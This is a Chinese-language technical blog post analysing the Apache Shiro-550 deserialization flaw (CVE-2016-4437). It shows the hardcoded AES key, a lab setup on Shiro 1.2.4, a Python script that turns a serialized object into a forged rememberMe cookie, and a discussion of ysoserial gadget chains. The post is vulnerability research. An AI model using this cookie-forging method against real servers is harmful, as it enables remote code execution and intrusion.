Contents

Shiro-550漏洞分析(CVE-2016-4437)

对shiro-550漏洞的简单分析及poc利用分析

漏洞简介

官方issues:https://issues.apache.org/jira/browse/SHIRO-550

Apache Shiro框架提供了记住我(RememberMe)的功能,功能表现为关闭浏览器再次访问时无需再登录即可访问。shiro默认使用CookieRememberMeManager,对rememberMe的cookie做了加密处理,在CookieRememberMeManaer类中将cookie中rememberMe字段内容先后进行序列化、AES加密、Base64编码操作。服务器端识别身份解密处理cookie的流程则是: 获取rememberMe cookie ->base64 解码->AES解密(加密密钥硬编码)->反序列化(未作过滤处理)

但是AES加密的密钥Key被硬编码在代码里,这就意味着每个人通过源代码都能拿到AES加密的密钥。因此,攻击者可以构造一个恶意的对象,并且对其序列化、AES加密、base64编码后,作为cookie的rememberMe字段发送。shiro将rememberMe进行解密并且反序列化,最终就造成了反序列化漏洞。如果在返回包的 Set-Cookie 中存在 rememberMe=deleteMe 字段,那么就可能存在此漏洞。

影响版本

Apache Shiro <= 1.2.4

环境搭建

直接使用shiro官方的samples-web进行分析

1
2
3
4
$ git clone https://github.com/apache/shiro.git
$ cd ./shiro
# 恢复到shiro-1.2.4版本
$ git checkout shiro-root-1.2.4

打包前需要对./shiro/samples/web/pom.xml进行一些修改:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
     <!--  需要设置编译的版本 -->
     <properties>
        <maven.compiler.source>1.6</maven.compiler.source>
        <maven.compiler.target>1.6</maven.compiler.target>
    </properties>
...
    <dependencies>
        <dependency>
            <groupId>javax.servlet</groupId>
            <artifactId>jstl</artifactId>
            <!--  这里需要将jstl设置为1.2,添加如下一行 -->
            <version>1.2</version> 
            <scope>runtime</scope>
        </dependency>
.....
        <!--  这里添加CC3.2.1库是为了方便演示有依赖的反序列化RCE -->
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
            <scope>runtime</scope>
        </dependency>
<dependencies>

导入IDEA,使用JDK1.8,然后打包成war包,丢到tomcat访问

漏洞分析

正常登录成功后,服务器返回给我们的cookie:

1
Cookie: JSESSIONID=2DB46C11B68E9356AD7CD85D13939320; rememberMe=0d9UNwC8IBfeiQ0UW0AhezGrGbyithE7MSIt0eZkmaDbWE8h41Y6XvTgXctE7LGOjhFHA9wRF5/VpMtFv+7yn43aFu/GYEWc571cdu2brSPmZnX4YXEqe0iMWnBul6UM4xvvYdp0f3zKhoutCsLhqU4pOrggF4mngscltFgEbdBSYURiz1namedUwm/LUDxvWzA7Afnfj6RjcOAFQpiq+ddlJY+I/C+ibKzAlR7x4uwgMJIQl5x/C62hu1+HZeQM/D1DY8boVQUPvYppET12o1iZG+uzy+Fa9o/A0fEFViPz3DAWJCfpypsD+PAdrHkJ3+sZXUJ1zYyAvPr5ZjBADKoIKrFL61ijngfmupke7yDSNv/KIjGYNzjhUNIw1d35RBjqnx2hYvn7vV3ewNARK2uWKNP/ankncQcbgrhFbyln+FIMWLat/Vx5SQm2IKlopi8B4mBgt2WkLdWJtJlb6ySK7X2qprJN8ZT+awoUOFjlU+EeO+1fGFDxrD4qJpr9

后端会对rememberMe的值进行base64解码然后进行AES解密,我们来跟一下源码

可以看到在shiro-core-1.2.4.jar!/org/apache/shiro/mgt/AbstractRememberMeManager.class中看到硬编码了CIPHER_KEY

1
2
3
4
5
public abstract class AbstractRememberMeManager
    implements RememberMeManager
{
    private static final Logger log = LoggerFactory.getLogger(AbstractRememberMeManager.class);
    private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

继续往下看,可以看到encrypt和decrypt方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
protected byte[] encrypt(byte[] serialized) {
    byte[] value = serialized;
    CipherService cipherService = getCipherService();
    if (cipherService != null) {
        ByteSource byteSource = cipherService.encrypt(serialized, getEncryptionCipherKey());
        value = byteSource.getBytes();
    }
    return value;
}

protected byte[] decrypt(byte[] encrypted) {
    byte[] serialized = encrypted;
    CipherService cipherService = getCipherService();
    if (cipherService != null) {
        ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
        serialized = byteSource.getBytes();
    }
    return serialized;
}

其中 CipherService 是个接口,而实现这个接口的是一个抽象类 JcaCipherService,继续跟进,在initNewCipher下断点,调试可以看到使用了AES/CBC/PKCS5Padding模式加密,继续调试发现random = this.ensureSecureRandom();,使用随机数生成16字节的 iv,然后使用encrypt(plaintext, key, ivBytes, generate)生成数据经过base64编码作为rememberMe的值

https://gitee.com/leonsec/images/raw/master/(null)-20210908193438939.jpg

iv是随机数生成的,解密时iv值直接从密文的前16字节获取,然后利用得到的iv和硬编码的key来进行解密密文:

1
shiro-core-1.2.4-sources.jar!/org/apache/shiro/crypto/JcaCipherService.java
https://gitee.com/leonsec/images/raw/master/(null)-20210908193450644.jpg

然后也在加密方法中看到了对应实现:

https://gitee.com/leonsec/images/raw/master/(null)-20210908193457380.jpg

那我们只要知道了硬编码的key值,就可以构造任意数据传入了

到这里只是该漏洞利用的前提,我们继续分析漏洞点

既然我们知道了iv就是rememberMe值base64解码后的前16个字节,我们先来解码正常的rememberMe值看看:

加密解密脚本:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# pip install pycrypto
import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES

def encode_rememberme():
    popen = subprocess.Popen(['cat', 'shiro550.ser'], stdout=subprocess.PIPE)
    BS   = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key  =  "kPH+bIxk5D2deZiIxcaaaA=="
    mode =  AES.MODE_CBC
    iv   =  uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

def decode_rememberme_file(filename):
    with open(filename, 'rb') as fpr:
        key  =  "kPH+bIxk5D2deZiIxcaaaA=="
        mode =  AES.MODE_CBC
        byte = fpr.read()
        IV   = byte[0:16]
        encryptor = AES.new(base64.b64decode(key), mode, IV=IV)
        remember_bin = encryptor.decrypt(byte[16:])
    return remember_bin

if __name__ == '__main__':
    # payload = encode_rememberme()
    # with open("cookie.txt", "w") as fpw:
    #     print("rememberMe={}".format(payload.decode()), file=fpw)
    with open("decode", 'wb+') as fpw:
        fpw.write(decode_rememberme_file("encode"))
https://gitee.com/leonsec/images/raw/master/(null)-20210908193518762.jpg

可以看到明显的aced序列化流的标识,所以分析到这里可以猜测,rememberMe的值存储的是序列化数据,有序列化就一定有反序列化操作,接下来看看后端接收到rememberMe值后对其进行的操作

shiro-core-1.2.4-sources.jar!/org/apache/shiro/mgt/AbstractRememberMeManager.javagetRememberedPrincipals函数,对rememberMe值进行操作,在这里下断点调试

https://gitee.com/leonsec/images/raw/master/(null)-20210908193531766.jpg

一步步跟进,经过解密操作然后进入到了shiro-core-1.2.4-sources.jar!/org/apache/shiro/io/DefaultSerializer.javadeserialize方法

看见了readObject对数据进行反序列化操作

https://gitee.com/leonsec/images/raw/master/(null)-20210908193536284.jpg

前面我们知道加密解密过程可控,所以我们可以控制序列化数据,利用反序列化进行恶意操作

但是有了反序列化点,我们还得找到可以利用的链

无cc依赖

前文在环境搭建部分我提到了添加 commons-collections-3.2.1 库是为了方便演示有依赖的反序列化RCE,实际上原生shiro是不依赖 commons-collections 库的,但是用到了 commons-beanutils 库

把pom.xml中 commons-collections 的依赖配置去掉,重新打包环境

参考phith0n的文章可以知道一条无cc依赖的cbu链可以打原生shiro组件,原文讲的很详细

在shiro中,它的 commons-beanutils 虽然包含了一部分 commons-collections 的类,但是不全,shiro正常使用得以满足,但是我们利用反序列化链用到的类部分不存在

所以直接利用 ysoserial 里的cbu链打,会爆出org.apache.commons.collections.comparators.ComparableComparator不存在,但是我们可以找到一个替代品,CaseInsensitiveComparator类是java.lang.String类下的一个内部私有类,其实现了ComparatorSerializable,且位于Java的核心代码中,兼容性强

构造新的cbu链,此时就可以直接打没有commons-collections库的shiro组件了

https://gitee.com/leonsec/images/raw/master/(null)-20210908193542058.jpg https://gitee.com/leonsec/images/raw/master/(null)-20210908193547941.jpg

有cc依赖

另外值得我们注意的是,当shiro组件存在 commons-collections:4.0 依赖时,我们可以直接利用 ysoserial 的 CommonsCollections2 利用链,这是因为CommonsCollections2用的是非数组形式的利用链,在该利用链上没有出现数组类型的对象,这使得在shiro的环境下,可以正确执行命令

shiro组件不能出现数组形式的利用链原因是 shiro resovleClass 使用的是ClassLoader.loadClass()而非Class.forName(),而ClassLoader.loadClass不支持装载数组类型的class,具体分析可以参考wh1t3p1g的博客

因为不能使用数组形式,之前在commons-collections:3.2.1下可以利用的链都失效了,但是我们可以想到后半段可以不使用ChainedTransformer构造,利用cc3中分析提到的TemplatesImpl.newTransformer函数来动态loadClass构造好的恶意class字节码,这样可以绕过使用数组类型的对象

wh1t3p1g师傅已经详细描述了触发TemplatesImpl.newTransformer的方法,我将会在cc链分析文章中对其进行分析,这里就不再过多叙述了,参考:https://blog.0kami.cn/2019/11/10/java/study-java-deserialized-shiro-1-2-4/

当然在有cc依赖的情况下我们还可以使用 ysoserial 里的cbu链

Reference

https://blog.knownsec.com/2016/08/apache-shiro-java/

https://blog.0kami.cn/2019/11/10/java/study-java-deserialized-shiro-1-2-4/

https://blog.zsxsoft.com/post/35

https://www.leavesongs.com/PENETRATION/commons-beanutils-without-commons-collections.html